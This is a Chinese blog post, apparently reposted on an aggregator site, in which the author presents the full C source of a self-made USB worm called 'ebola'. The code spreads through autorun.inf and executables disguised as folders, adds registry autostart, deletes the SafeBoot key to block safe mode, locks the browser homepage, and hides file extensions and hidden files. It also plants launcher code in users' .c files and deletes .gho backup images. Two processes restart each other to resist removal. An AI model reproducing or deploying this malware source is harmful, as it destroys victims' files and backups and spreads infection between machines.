没事闲的。。_名枪世界_百度空间

前几天同学U盘中毒,文件全没了,厌恶的同时对其产生了点兴趣,自己也写了一个玩玩。。很早就听说非洲有个伊波拉病毒非常致命,所以就以它命名啦(有点对不起这个名)。这个病毒程序通过U盘传播。。会删除硬盘上的EXE,GHO文件,修改锁定主页,添加开机自启动,屏蔽安全模式,感染U盘等等。。。

ebola.exe
   遍历硬盘和U盘文件:如果后缀名为exe,则删除文件。如果为c,则在其目录下生成包含启动ebloa.exe代码的stdio.c头文件,并设其属性为隐藏,修改文件头<stdio.h>为"stdio.c",并在c文件中插入恶意函数。cpp和html的还没找到恶意代码,暂不做处理。如果后缀名为gho,则删除文件。
   修改注册表:屏蔽安全模式,添加自启动,修改锁定主页,禁止查看隐藏文件,屏蔽exe文件后缀名,添加开机自启动时可能会有杀软的拦截导致失败,应该再判断下,如果添加失败则修改ebloa文件名,文件名后添加随机数,重新添加自启动..

   每隔0.3秒,扫描硬盘U盘和system32目录,查看autorun.exe是否存在,如不存在,则从其他位置复制.
   每隔0.3秒,查找可移动驱动器盘符,判断是否被感染过,如果没被感染过则遍历U盘根目录文件夹,将伪装成文件夹图标的autorun.exe更为与文件夹同名并复制到U盘根目录下,并将原文件夹设为隐藏,并向其根目录下生成autorun.inf文件。
   每隔0.1秒,查看windows\system32\autorun.exe是否运行,否则将其运行并隐藏其窗口。

autorun.exe
   当启动移动磁盘中伪装成文件夹图标的"autorun.exe"后,"autorun.exe"会将同目录下的ebola.exe和自己复制到每隔磁盘根目录和system32下,运行ebola.exe并隐藏其窗口。
   每隔0.3秒,查看每个驱动器根目录和system32下是否存在ebola.exe,不存在则从别处复制。
   每隔0.3秒,查看system32下的ebola.exe是否运行,否则将其运行并隐藏窗口。

程序的两个exe文件都设置为隐藏,并且相互监视,如果发现另一方进程被结束则马上重新运行对方。如果能保持注册表中查看隐藏文件键值不被改回来的话,那么不运行命令或借助其他软件应该是不会被显示。。

写这个东西用了很多API,这些API的功能非常强大,这只不过是它们的一个小应用。。如果能加点钩子就更猥琐了。。


主程序ebola.exe


long INFC=0,INFCPP=0,INFHTM=0;

void infectC(char *path);
void ufilereplace(char *path);

void searchdisk(char *way,int deep,int type)                                     //遍历感染后缀名为gho,c,cpp,htm,html的文件
{
       WIN32_FIND_DATA f;   HANDLE done;    char newway[255],bian[255]; DWORD errorcode = 0;
       strcpy(newway,way);
       strcat(newway,"*.*");
       done=FindFirstFile(newway,&f);
       while(errorcode!=ERROR_NO_MORE_FILES)
       {
           if(deep==7)
        break;
       errorcode=GetLastError();
       if(errorcode==ERROR_NO_MORE_FILES)
        break;
       if(!(f.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
       {
        strcpy(bian,way);
        strcat(bian,f.cFileName);
        if(strrchr(bian,'.')!=NULL)
        {                                    
//         if(stricmp(strrchr(bian,'.'),".gho")==0)
//          gho(bian);
//         if(stricmp(strrchr(bian,'.'),".c")==0 && stricmp(strrchr(bian,'\\'),""))
//          infectC(bian);
/*         if(stricmp(strrchr(bian,'.'),".cpp")==0)
          infectcpp(bian);
         if(stricmp(strrchr(bian,'.'),".htm")==0 || stricmp(strrchr(bian,'.'),".html")==0 )
          infecthtml(bian);
*/        }
                                        
       }  
       if( stricmp(f.cFileName, "System Volume Information") && stricmp(f.cFileName, "recycled")&& stricmp(f.cFileName, "Documents and Settings") && stricmp(f.cFileName, "WINDOWS") && (f.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && strcmp(f.cFileName, ".") && strcmp(f.cFileName, "..") )
       {
        strcpy(bian,way);
        strcat(bian,f.cFileName);
        if(type==1)
         ufilereplace(bian);
        strcat(bian,"\\");
        searchdisk(bian,deep+1,0);

       }
       errorcode=GetLastError();
       FindNextFile(done,&f);
    }
    CloseHandle(done);
   
}


void autorun()                                                                //开机自启动
{
char subkey[70]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
char value[50]="c:\\windows\\system32\\ebola.exe";
char vname[10]="ebola";
HKEY hKey;
ULONG dType=REG_SZ,len=0;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);
if(RegQueryValueEx(hKey,vname,0,&dType, NULL,&len));
RegSetValueEx(hKey,vname,0,REG_SZ,(CONST BYTE*)value,strlen(value)+1);
RegCloseKey(hKey);
}

void safeboot()           //屏蔽安全模式
{
   HKEY hKey;
   RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control",0,KEY_WRITE,&hKey);
   SHDeleteKey(hKey,"SafeBoot");  
   RegCloseKey(hKey);
}

void checkautorun()          //检查autorun.exe是否运行
{
FILE *p;

if(NULL!=(p=fopen("C:\\WINDOWS\\system32\\autorun.exe","rb+")))       
{
   fclose(p);
   ShellExecute(NULL,"open","c:\\windows\\system32\\autorun.exe",NULL,NULL,SW_HIDE);
}
   
}


void IEmain(char http[])                                                      //修改主页
{
char subkey[70]= "Software\\Microsoft\\Internet Explorer\\Main";
char vname[20]="Start Page";
DWORD value=1;
HKEY hKey;
ULONG dType=REG_SZ,len=0;
RegOpenKeyEx(HKEY_CURRENT_USER,subkey,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);
if(RegQueryValueEx(hKey,vname,0,&dType, NULL,&len));
RegSetValueEx(hKey,vname,0,REG_SZ,(CONST BYTE*)http,strlen(http)+1);
RegCloseKey(hKey);
strcpy(subkey,"Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel");
strcpy(vname,"HomePage");
dType=REG_DWORD;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel",&hKey);        //锁定主页
RegOpenKeyEx(HKEY_CURRENT_USER,subkey,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);
if(RegQueryValueEx(hKey,vname,0,&dType, NULL,&len));
RegSetValueEx(hKey,vname,0,REG_DWORD,(CONST BYTE*)&value,sizeof(DWORD));
RegCloseKey(hKey);
}

void finddisk()                                                                 
{
char path[5]="c:\\";
    for(;path[0]<='z';path[0]++)
      {
   if(DRIVE_FIXED==GetDriveType(path))
    searchdisk(path,1,0);
   if(DRIVE_REMOVABLE==GetDriveType(path))
      searchdisk(path,1,1);
     
       }
/* searchdisk("g:\\",1,1);
    searchdisk("h:\\",1,1);*/
}


void Uautorun()                                                        //U盘自启动
{
     FILE *p;
     char path[20]="c:\\autorun.inf";     int i=0;          char file[200]="[autorun] OPEN=autorun.exe shell\open=打开(&O) shell\open\Command=autorun.exe shell\open\Default=1 shell\explore=资源管理器(&X) shell\explore\Command=autorun.exe";

     p=fopen(path,"w");
     while(file[i]!='\0')
     {
        if(file[i]==' ')
           fputc('\n',p);
        else
         fputc(file[i],p);
        i++;
      }
     fclose(p);
}

void gho(char *path)                       //删除gho文件
{
    remove(path);
Sleep(200);
}

void disktype()                         //向U盘复制autorun.exe文件
{
     char disk[15]="c:\\",copy[15]="c:\\",*p;

for(;disk[0]<='z';disk[0]++)
   if(DRIVE_REMOVABLE==GetDriveType(disk))
   {
    strcat(disk,"autorun.exe");
    while(DRIVE_FIXED==GetDriveType(copy))
    {
     strcat(copy,"autorun.exe");
                CopyFile(copy,disk,TRUE);
     p=strrchr(copy,'\\');
     *(++p)='\0';
     copy[0]++;
    }
    p=strrchr(disk,'\\');
    *(++p)='\0';
    strcat(disk,"ebola.exe");
    CopyFile("C:\\WINDOWS\\system32\\ebola.exe",disk,TRUE);           
    p=strrchr(disk,'\\');
    *(++p)='\0';
    copy[0]='c';
   }
//修改注册表 隐藏exe后缀名
char subkey[20]= "exefile",code[1]="";
char vname[20]="NeverShowExt";
HKEY hKey;
ULONG dType=REG_SZ,len=0;
RegOpenKeyEx(HKEY_CLASSES_ROOT,subkey,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);
if(RegQueryValueEx(hKey,vname,0,&dType, NULL,&len));
RegSetValueEx(hKey,vname,0,REG_SZ,(CONST BYTE*)code,1);
RegCloseKey(hKey);

}

void ufilereplace(char *path)            //将U盘的文件夹隐藏,将autorun.exe伪装成文件夹的形式传入U盘
{
char *p,disk[100];
FILE *p1;
// printf("%s\n",path);
strcpy(disk,path);
strcat(disk,".exe");
if(NULL==(p1=fopen(disk,"r+")))
{
     CopyFile("c:\\autorun.exe",disk,TRUE);
   SetFileAttributes(path,2);
   SetFileAttributes(disk,8);
}
else
   fclose(p1);
   
}


void checkebola()                  //检查驱动器下是否存在autorun.exe 如果没有则从其他驱动器复制
{
char path[15]="c:\\",copy[15]="c:\\";
char *p;
FILE *p1;
for(;path[0]<='z';path[0]++)
   if(DRIVE_FIXED==GetDriveType(path) || DRIVE_REMOVABLE==GetDriveType(path))
   {
    strcat(path,"autorun.exe");
    if(NULL==fopen(path,"rb+"))
    {
     strcat(copy,"autorun.exe");
     while(copy[0]<='z' && NULL==(p1=fopen(copy,"rb+"))) copy[0]++;
     if(copy[0]<='z')
     {
      fclose(p1);
      CopyFile(copy,path,TRUE);
     }
    
    }
    if(NULL==(p1=fopen("C:\\WINDOWS\\system32\\autorun.exe","rb+")))
     CopyFile(copy,"c:\\windows\\system32\\autorun.exe",TRUE);
    else
     fclose(p1);
    p=strrchr(copy,'\\');
    *(++p)='\0';       
    p=strrchr(path,'\\');
    *(++p)='\0';
    copy[0]='c';   
   }

}


void infectC(char *path)                     //感染后缀名为C的文件
{
    char subkey[100]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL";
char vname[20]="CheckedValue";
DWORD value=0;
HKEY hKey;
ULONG dType=REG_DWORD,len=0;

char code[200],*p;
    FILE *p1,*p2;
int i=0;
char ch,head[20];
printf("%s\n",path);
    p1=fopen(path,"r+");                             //修改C头文件,<stdio.h>改为"stdio.c"
while(!feof(p1))
{
   ch=fgetc(p1);
        if(ch=='(')
    break;
  
   if((ch>='a' && ch<='z') || (ch>='A' && ch<='Z'))
   {
    head[i]=ch;
    i++;
   }
  
   if(i==13)
   {
    head[i]='\0';
    if(0==stricmp(head,"includestdioh"))
    {
     fseek(p1,-1,SEEK_CUR);
     fputc('c',p1);
     fseek(p1,-8,SEEK_CUR);
     fputc('"',p1);
     fseek(p1,7,SEEK_CUR);
     fputc('"',p1);
     break;
    }
    else
    {
     i=0;
     while(!feof(p1))
     {
      ch=fgetc(p1);
      if(ch=='>' || ch=='(' || ch=='\n')
       break;
     }
     fseek(p1,-1,SEEK_CUR);  
    }
   }
}
fclose(p1);

p1=p2=fopen(path,"r+");
while(!feof(p1))
   if(fgetc(p1)=='}')
    p2=p1;
   fseek(p2,-1,SEEK_CUR);
   fputs("f();",p2);
   fputc('\n',p2);
   fputc('}',p2);
   fclose(p2);                                     //c文件已经被感染
  
   //在被感染的C文件同目录下生成stdio.c文件,并设置为隐藏文件

   strcpy(code," include stdio.h   include windows.h void f    ShellExecute NULL, open , C:\\\\WINDOWS\\\\system32\\\\ebola.exe ,NULL,NULL,SW_HIDE ; ");
   code[0]='#'; code[8]='<'; code[16]='>'; code[17]='\n'; code[18]='#'; code[26]='<'; code[36]='>'; code[37]='\n'; code[44]='('; code[45]=')'; code[46]='\n'; code[47]='{'; code[60]='('; code[66]='"'; code[71]='"'; code[73]='"'; code[106]='"';code[125]=')'; code[128]='}';
   p=strrchr(path,'\\');
   *(++p)='\0';
   strcat(path,"stdio.c");
   remove(path);
   p1=fopen(path,"w");
   fputs(code,p1);
   fclose(p1);
   SetFileAttributes(path,2);

   //修改注册表,禁止查看隐藏文件   
   RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);
   if(RegQueryValueEx(hKey,vname,0,&dType, NULL,&len));
   RegSetValueEx(hKey,vname,0,REG_DWORD,(CONST BYTE*)&value,sizeof(DWORD));
   RegCloseKey(hKey);

   INFC++;  
   Sleep(200);
}


void infectcpp(char *path)           //感染cpp文件
{






INFCPP++;
Sleep(200);
}


void infecthtm(char *path)            //感染htm l文件
{
FILE *p1,*p2;
char code[100];
p1=fopen(path,"w");


}


int main()
{
//     checkebola();
//   checkautorun();
//       finddisk();
//   autorun();
// IEmain("");  
// Uautorun();
//   safeboot();
while(1)
{
//   ShellExecute(NULL,"open","F:\\4_1\\Debug\\test.exe",NULL,NULL,SW_HIDE);
//   disktype();
   checkebola();
   checkautorun();//检查autorun.exe文件是否被删除,如果删除则自动复制
   Sleep(100);
}

return 0;
}


从程序autorun.exe


char path[15]="c:\\",copy[15]="c:\\";
FILE *p1;
char *p;
while(1)
{
   //检测ebloa.exe文件是否存在,如果不存在从其他驱动器复制
   for(;path[0]<='z';path[0]++)
    if(DRIVE_FIXED==GetDriveType(path) || DRIVE_REMOVABLE==GetDriveType(path))
    {
     strcat(path,"ebola.exe");
     if(NULL==(p1=fopen(path,"rb+")))
     {
      strcat(copy,"ebola.exe");
      while(copy[0]<='z' && NULL==(p1=fopen(copy,"rb+"))) copy[0]++;
      if(copy[0]<='z')
      {
       fclose(p1);
       CopyFile(copy,path,TRUE);
      }     
     }
     else
      fclose(p1);

     if(NULL==(p1=fopen("C:\\WINDOWS\\system32\\ebola.exe","rb+")))
     {
      CopyFile(copy,"c:\\windows\\system32\\ebola.exe",TRUE);

     }
     else
      fclose(p1);
    
     p=strrchr(copy,'\\');
     *(++p)='\0';       
     p=strrchr(path,'\\');
     *(++p)='\0';
     copy[0]='c';
    
    }
   
    //检测ebola.exe是否运行
    if(NULL!=(p1=fopen("c:\\windows\\system32\\ebola.exe","rb+")))
    {
     fclose(p1);
     ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\ebola.exe",NULL,NULL,SW_HIDE);    
    }
   
   
    Sleep(100);
   
}



郑重声明:资讯 【没事闲的。。_名枪世界_百度空间】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——